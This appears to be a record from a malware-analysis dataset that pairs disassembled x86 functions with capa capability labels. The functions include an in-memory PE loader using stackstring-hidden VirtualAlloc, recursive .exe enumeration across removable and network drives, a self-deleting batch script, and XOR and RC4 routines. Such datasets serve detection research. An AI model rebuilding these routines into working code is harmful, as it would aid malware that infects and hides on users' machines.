joyce8/EMBER2024-capa huggingface dataset:
Function at 0x501ad4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x214], ecx
mov esi, edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.004054c8
xor eax, eax
push ebp
push 0x501b89
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [0x513d10]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
jbe 0x501b66
push 0xff
lea eax, [ebp - 0x20e]
push eax
push ebx
call sub.user32.dll_GetWindowTextW
lea eax, [ebp - 0x214]
lea edx, [ebp - 0x20e]
mov ecx, 0x105
call fcn.00405078
mov edx, dword [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00405434
test eax, eax
je 0x501b58
cmp esi, ebx
jne 0x501b68
push 2
push ebx
call sub.user32.dll_GetWindow
mov ebx, eax
test ebx, ebx
ja 0x501b1a
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x501b90
lea eax, [ebp - 0x214]
call fcn.00404ecc
lea eax, [ebp - 4]
call fcn.00404ecc
ret
Function at 0x4032fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402256
and dword [ebp - 0x14], 0
cmp dword [0x40b43c], 0
mov dword [ebp - 0x18], eax
jne 0x4033ae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403456
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403456
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b43c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b440], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b444], eax
call edi
push eax
call esi
mov dword [0x40b44c], eax
test eax, eax
je 0x4033ae
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b448], eax
mov eax, dword [0x40b448]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403407
cmp dword [0x40b44c], ecx
je 0x403407
push eax
call esi
push dword [0x40b44c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403407
test ebx, ebx
je 0x403407
call edi
test eax, eax
je 0x4033fe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4033fe
test byte [ebp - 8], 1
jne 0x403407
or dword [ebp + 0x10], 0x200000
jmp 0x40343a
mov eax, dword [0x40b440]
cmp eax, dword [ebp - 0x18]
je 0x40343a
push eax
call esi
test eax, eax
je 0x40343a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40343a
mov eax, dword [0x40b444]
cmp eax, dword [ebp - 0x18]
je 0x40343a
push eax
call esi
test eax, eax
je 0x40343a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b43c]
call esi
test eax, eax
je 0x403456
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403458
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403666
leave
ret

Function at 0x403666
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a310]
jne 0x403670
repz ret
jmp fcn.004048d6
Function at 0x4057a0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
push eax
call fcn.00405f60
push 0x4088f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov ecx, dword [esi + 0x3c]
mov edi, dword [ecx + esi + 0x78]
lea ebx, [ecx + esi + 0x78]
lea edx, [ebp - 0x2c]
push edx
add edi, esi
push edi
push ebx
push esi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x416c6175
mov dword [ebp - 0x24], 0x636f6c6c
mov byte [ebp - 0x20], 0
call fcn.00405ec0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push eax
push edi
push ebx
push esi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x2c], 0x74726956
mov dword [ebp - 0x28], 0x466c6175
mov dword [ebp - 0x24], 0x656572
call fcn.00405ec0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1000
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov eax, dword [ebp + 8]
mov ecx, esi
sub eax, esi
mov edx, 0x1000
mov bl, byte [eax + ecx]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x405842
mov edx, 0x1000
mov ecx, esi
call fcn.00405760
push 0x200
push 0
push edi
mov dword [0x40b7c4], esi
mov dword [0x40b7c8], 0x1000
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x40b7d0]
push 0x100
push eax
push ecx
mov dword [0x40b7cc], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 8], eax
add eax, 0x18
push 0x40
mov dword [ebp + 8], eax
mov eax, dword [eax + 0x38]
push 0x3000
push eax
push 0
call dword [ebp - 0x10]
mov ebx, eax
test ebx, ebx
je 0x405989
push esi
mov eax, 0x40
mov edi, ebx
call fcn.00406090
mov ecx, dword [ebp - 8]
mov edi, dword [ebx + 0x3c]
movzx eax, word [ecx + 0x14]
add edi, ebx
push ecx
call fcn.00406090
mov ecx, dword [ebp - 8]
movzx eax, word [ecx + 0x14]
movzx ecx, word [ecx + 6]
add eax, dword [ebp + 8]
movzx edx, word [edi + 0x14]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
lea edi, [edx + edi + 0x18]
test ecx, ecx
je 0x40594e
sub eax, edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], ecx
jmp 0x405903
mov eax, dword [ebp - 0x10]
add eax, edi
push eax
mov eax, 0x28
call fcn.00406090
add edi, 0x28
dec dword [ebp - 8]
jne 0x405900
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
test ecx, ecx
je 0x40594e
add eax, 0x14
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], ecx
jmp 0x405933
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edi, dword [eax - 8]
mov eax, dword [eax - 4]
add ecx, esi
push ecx
add edi, ebx
call fcn.00406090
add dword [ebp - 8], 0x28
dec dword [ebp - 0x10]
jne 0x405930
mov eax, dword [ebp + 8]
push ebx
call fcn.00405e10
mov edx, dword [ebp + 8]
push edx
mov edi, ebx
call fcn.00405d80
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xc]
mov dword [eax + 8], ebx
mov eax, dword [edx + 0xc]
add ecx, ebx
mov dword [eax + 0x18], ebx
mov dword [eax + 0x1c], ecx
call ecx
push 0x8000
push 0
push ebx
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401240
Capabilities:
Create thread
Get disk information
Terminate thread

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x401451
mov edi, 3
mov esi, 1
mov ecx, edi
shl esi, cl
test ebx, esi
je 0x40129a
lea eax, [edi + 0x41]
lea ecx, [esp + 0x1c]
push eax
push str._c:_
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x40129a
not esi
and ebx, esi
inc edi
cmp edi, 0x1a
jl 0x401263
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x44]
rep stosd dword es:[edi], eax
mov ecx, 0x20
lea edi, [esp + 0xc4]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edx, eax
test edx, edx
mov dword [esp + 0x18], edx
je 0x401451
mov edi, 3
xor ebx, ebx
mov dword [esp + 0x14], edi
jmp 0x4012ea
mov edx, dword [esp + 0x18]
mov eax, 1
mov ecx, edi
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
jne 0x4013ef
test edx, eax
je 0x401428
lea edx, [edi + 0x41]
lea eax, [esp + 0x1c]
push edx
push str._c:_
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x401428
cmp eax, 1
je 0x401428
cmp eax, 5
je 0x401428
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esp + 0x28], eax
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x30]
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x14c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0x2000000
push 3
push 0
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x158]
push 7
lea eax, [esp + 0x44]
push 0xc0000000
push eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], edx
lea esi, [esp + ebx + 0xec]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [esp + 0x2c]
push 0
push ecx
push 0x401460
push 0
push 0
mov dword [esi], eax
mov dword [esp + 0x44], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esp + 0x28]
push 0xffffffffffffffff
push edx
mov dword [esp + ebx + 0x58], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x28]
push eax
call ebp
mov edi, dword [esp + 0x14]
jmp 0x401428
test edx, eax
jne 0x401428
mov esi, dword [esp + ebx + 0x50]
test esi, esi
je 0x40140f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebp
mov dword [esp + ebx + 0x50], 0
mov eax, dword [esp + ebx + 0xd0]
test eax, eax
je 0x401428
push eax
call ebp
mov dword [esp + ebx + 0xd0], 0
add ebx, 4
inc edi
cmp ebx, 0x5c
mov dword [esp + 0x14], edi
jl 0x4012e6
mov ecx, dword [esp + 0x18]
push 0x3e8
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4012c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x401820
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xcc
push ebx
mov ebx, dword [esp + 0xe0]
push esi
push edi
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 0xd4], ebx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xe0]
push 0xc7
lea ecx, [esp + 0x10]
push eax
push ecx
call sub.MSVCRT.dll_strncpy
mov esi, dword [esp + 0xf8]
mov edx, dword [esp + 0xe8]
push esi
push 0x10
push 1
push edx
call sub.MSVCRT.dll_fwrite
lea eax, [esp + 0x28]
push eax
call fcn.00402600
push esi
push 0xcc
lea ecx, [esp + 0x34]
push 1
push ecx
call sub.MSVCRT.dll_fwrite
mov edx, dword [esp + 0x114]
push esi
push ebx
push 1
push edx
call sub.MSVCRT.dll_fwrite
add esp, 0x40
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xcc
ret
Function at 0x401b90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x544
mov eax, dword [esp + 0x548]
lea ecx, [esp + 0x144]
push eax
push str._s.
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 4]
lea eax, [esp + 0x144]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp], eax
je 0x401d1c
push ebx
mov ebx, dword [esp + 0x550]
push ebp
mov ebp, dword [esp + 0x558]
push esi
push edi
test byte [esp + 0x14], 0x10
je 0x401c2a
cmp byte [esp + 0x40], 0x2e
je 0x401cf5
mov edx, dword [esp + 0x558]
lea ecx, [esp + 0x40]
push ecx
push edx
lea eax, [esp + 0x15c]
push str._s_s_
push eax
call sub.MSVCRT.dll_sprintf
push ebp
lea ecx, [esp + 0x168]
push ebx
push ecx
call fcn.00401b90
jmp 0x401cf2
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401c65
test cl, cl
je 0x401c61
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401c65
add eax, 2
add esi, 2
test cl, cl
jne 0x401c41
xor eax, eax
jmp 0x401c6a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401cb2
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..EXE
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401ca9
test cl, cl
je 0x401ca5
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401ca9
add eax, 2
add esi, 2
test cl, cl
jne 0x401c85
xor eax, eax
jmp 0x401cae
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401cf5
cmp dword [esp + 0x34], 0x3200000
ja 0x401cf5
mov eax, dword [esp + 0x30]
test eax, eax
jne 0x401cf5
mov ecx, dword [esp + 0x558]
lea eax, [esp + 0x40]
push eax
push ecx
lea edx, [esp + 0x15c]
push str._s_s
push edx
call sub.MSVCRT.dll_sprintf
push ebp
lea eax, [esp + 0x168]
push ebx
push eax
call fcn.004018c0
add esp, 0x1c
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401be5
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x544
ret
Function at 0x402140
Capabilities:
Create process on windows
Self delete

Disassembly:
sub esp, 0x504
push ebx
push esi
push edi
call fcn.00403210
push eax
lea eax, [esp + 0x10]
push str._stttbrozzz.bat
push eax
call sub.MSVCRT.dll_sprintf
mov ebx, dword [esp + 0x520]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x11c]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x5c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x120]
push ecx
call sub.MSVCRT.dll_strrchr
add esp, 0x14
test eax, eax
jne 0x4021ab
pop edi
pop esi
pop ebx
add esp, 0x504
ret
lea edx, [esp + 0xc]
push 0x4053e0
push edx
mov byte [eax + 1], 0
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
jne 0x4021d1
pop edi
pop esi
pop ebx
add esp, 0x504
ret
push str._echo_off_r_n
push esi
call sub.MSVCRT.dll_fprintf
movsx eax, byte [esp + 0x118]
push eax
push str._c:_r_n
push esi
call sub.MSVCRT.dll_fprintf
lea ecx, [esp + 0x124]
push ecx
push str.cd___s__r_n
push esi
call sub.MSVCRT.dll_fprintf
push str.:start_r_n
push esi
call sub.MSVCRT.dll_fprintf
push ebx
push str.if_not_exist___s__goto_done_r_n
push esi
call sub.MSVCRT.dll_fprintf
push str.goto_start_r_n
push esi
call sub.MSVCRT.dll_fprintf
push str.:done_r_n
push esi
call sub.MSVCRT.dll_fprintf
mov edi, dword [esp + 0x55c]
add esp, 0x44
push ebx
push edi
push str.copy___s____s__r_n
push esi
call sub.MSVCRT.dll_fprintf
push edi
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
push ebx
push str.__s__r_n
push esi
call sub.MSVCRT.dll_fprintf
mov eax, dword [esp + 0x544]
add esp, 0x28
test eax, eax
je 0x40227c
push eax
push str.__s__r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x10
lea eax, [esp + 0xc]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
pop edi
pop esi
mov eax, ecx
pop ebx
add esp, 0x504
ret
Function at 0x402450
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
cmp byte [edi], 0x22
jne 0x40249c
inc edi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0xf], al
jmp 0x4024bd
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4025f0
test al, 0x10
je 0x402540
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0xf], 0x5c
je 0x402518
mov edi, 0x405418
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00401b90
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea ebp, [esp + 0x10]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
sub ebp, 4
mov esi, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebp
mov dl, byte [ecx]
mov bl, byte [esi]
mov al, dl
cmp dl, bl
jne 0x402584
test al, al
je 0x402580
mov dl, byte [ecx + 1]
mov bl, byte [esi + 1]
mov al, dl
cmp dl, bl
jne 0x402584
add ecx, 2
add esi, 2
test al, al
jne 0x40255c
xor eax, eax
jmp 0x402589
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4025d3
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..EXE
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebp
mov dl, byte [ecx]
mov bl, byte [esi]
mov al, dl
cmp dl, bl
jne 0x4025ca
test al, al
je 0x4025c6
mov dl, byte [ecx + 1]
mov bl, byte [esi + 1]
mov al, dl
cmp dl, bl
jne 0x4025ca
add ecx, 2
add esi, 2
test al, al
jne 0x4025a2
xor eax, eax
jmp 0x4025cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4025f0
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.004018c0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x402600
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0xc7], 0xef
je 0x402620
xor eax, eax
mov dl, byte [eax + ecx]
xor dl, 0xef
mov byte [eax + ecx], dl
inc eax
cmp eax, 0xcc
jb 0x40260f
ret
Function at 0x402630
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0xc7], 0xef
jne 0x402650
xor eax, eax
mov dl, byte [eax + ecx]
xor dl, 0xef
mov byte [eax + ecx], dl
inc eax
cmp eax, 0xcc
jb 0x40263f
ret

Function at 0x402660
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov eax, dword [ebx + 0xc8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
jne 0x40267e
pop esi
pop ebx
ret
mov ecx, dword [ebx + 0xc8]
push edi
mov edx, ecx
xor eax, eax
mov edi, esi
push esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebx + 0xc8]
lea ecx, [ebx + 0xcc]
push eax
push ecx
call fcn.00402e10
mov edx, dword [esp + 0x1c]
push 0x40531c
push edx
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 0x14
test edi, edi
je 0x4026dc
mov eax, dword [ebx + 0xc8]
push edi
push eax
push 1
push esi
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
add esp, 0x14
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
test edi, edi
pop edi
pop esi
setne al
pop ebx
ret
Function at 0x4026f0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x14]
push ebx
push ebp
push esi
mov eax, dword [ecx + 0x3c]
xor edx, edx
add eax, ecx
push edi
xor edi, edi
xor ebp, ebp
mov dx, word [eax + 0x14]
mov di, word [eax + 6]
test edi, edi
lea edx, [edx + eax + 0x18]
mov dword [esp + 0x10], edx
jle 0x40275e
mov esi, str..rsrc
mov eax, edx
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x402745
test cl, cl
je 0x402741
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x402745
add eax, 2
add esi, 2
test cl, cl
jne 0x402721
xor eax, eax
jmp 0x40274a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402756
inc ebp
add edx, 0x28
cmp ebp, edi
jl 0x40271a
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x10], edx
cmp ebp, edi
je 0x402854
mov esi, dword [edx + 0x14]
xor eax, eax
add esi, ecx
xor edx, edx
mov dword [esp + 0x18], 0
mov ax, word [esi + 0xe]
mov dx, word [esi + 0xc]
add eax, edx
lea ecx, [esi + 0x10]
test eax, eax
mov dword [esp + 0x1c], ecx
jle 0x402854
mov eax, dword [ecx]
cmp eax, 3
je 0x4027a0
cmp eax, 0xe
jne 0x40282e
mov ebx, dword [ecx + 4]
xor eax, eax
and ebx, 0x7fffffff
xor edx, edx
add ebx, esi
mov dword [esp + 0x14], 0
mov ax, word [ebx + 0xe]
mov dx, word [ebx + 0xc]
add eax, edx
test eax, eax
jle 0x40282e
lea eax, [ebx + 0x14]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx]
test eax, 0x80000000
jbe 0x402804
mov ebp, dword [esp + 0x10]
and eax, 0x7fffffff
mov edi, esi
mov edx, dword [eax + esi + 0x14]
sub edi, dword [ebp + 0xc]
add edx, esi
xor eax, eax
mov ecx, dword [edx + 4]
mov ebp, dword [edx]
mov edx, ecx
add edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x24]
xor ecx, ecx
xor edx, edx
mov cx, word [ebx + 0xe]
mov dx, word [ebx + 0xc]
inc eax
add ecx, edx
add ebp, 8
cmp eax, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], ebp
jl 0x4027cc
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
xor edx, edx
mov dx, word [esi + 0xe]
xor edi, edi
mov di, word [esi + 0xc]
inc eax
add edx, edi
add ecx, 8
cmp eax, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
jl 0x402790
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x10
ret
Function at 0x402e40
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + eax + 0x10], al
inc eax
cmp eax, 0x100
jb 0x402e61
mov edi, dword [esp + 0x120]
mov ebp, dword [esp + 0x11c]
xor ecx, ecx
xor esi, esi
mov eax, ecx
xor edx, edx
div edi
mov bl, byte [esp + ecx + 0x10]
add esi, ebx
mov al, byte [edx + ebp]
add eax, esi
and eax, 0xff
inc ecx
mov esi, eax
cmp ecx, 0x100
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0xf], dl
mov byte [esp + esi + 0x10], bl
jb 0x402e7f
mov edx, dword [esp + 0x118]
xor esi, esi
xor edi, edi
test edx, edx
jbe 0x402f09
mov ecx, dword [esp + 0x124]
mov ebp, dword [esp + 0x114]
sub ebp, ecx
inc esi
and esi, 0xff
mov al, byte [esp + esi + 0x10]
mov bl, al
add ebx, edi
and ebx, 0xff
mov edi, ebx
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], al
mov bl, byte [esp + esi + 0x10]
add ebx, eax
and ebx, 0xff
mov al, byte [esp + ebx + 0x10]
mov bl, byte [ecx + ebp]
xor al, bl
mov byte [ecx], al
inc ecx
dec edx
jne 0x402ecb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret

Function at 0x402f20
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0x405318
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
jne 0x402f3b
pop esi
ret
push ebx
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
mov ebx, dword [esp + 0x24]
push esi
mov dword [ebx], eax
call sub.MSVCRT.dll_rewind
mov ecx, dword [ebx]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 0x18
test edi, edi
je 0x402f79
mov edx, dword [ebx]
push esi
push edx
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
push esi
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
ret